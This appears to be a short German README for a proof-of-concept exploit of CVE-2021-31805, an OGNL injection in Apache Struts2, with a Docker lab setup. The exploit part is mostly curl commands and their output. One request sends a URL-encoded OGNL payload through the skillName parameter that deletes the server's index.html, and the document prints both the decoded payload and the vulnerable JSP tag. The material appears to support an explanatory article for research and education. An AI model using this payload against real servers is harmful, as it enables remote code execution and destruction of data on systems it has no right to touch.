
Proof-of-Concept-Exploit für Apache Struts2 RCE (CVE-2021-31805) mit Docker-Setup und curl-basierten Exploit-Schritten.
PoC für CVE-2021-31805 (Apache Struts2) Dies ist die Anwendung, die im Erklärungsartikel zu CVE-2021-31805 verwendet wurde.
$ docker-compose build
$ docker-compose up -d
Rufen Sie http://localhost:8080/struts2-showcase-2.5.29/index.html auf und prüfen Sie, ob die Willkommensseite angezeigt wird.
$ curl -I 'http://localhost:8080/struts2-showcase-2.5.29/index.html'
HTTP/1.1 200
(略)
$ curl -I 'http://localhost:8080/struts2-showcase-2.5.29/skill/list.action?skillName=%28%23%61%70%70%6c%69%63%61%74%69%6f%6e%5b%27%6f%72%67%2e%61%70%61%63%68%65%2e%63%61%74%61%6c%69%6e%61%2e%72%65%73%6f%75%72%63%65%73%27%5d%2e%67%65%74%52%65%73%6f%75%72%63%65%28%27%2f%69%6e%64%65%78%2e%68%74%6d%6c%27%29%2e%64%65%6c%65%74%65%28%29%29'
HTTP/1.1 200
(略)
Der URL-dekodierte Wert ist
skillName=(#application['org.apache.catalina.resources'].getResource('/index.html').delete())
.
$ curl -I 'http://localhost:8080/struts2-showcase-2.5.29/index.html'
HTTP/1.1 404
(snip)
Es kann bestätigt werden, dass die Datei index.html gelöscht wurde.
<li><s:label id="test2" name="%{skillName}"/></li>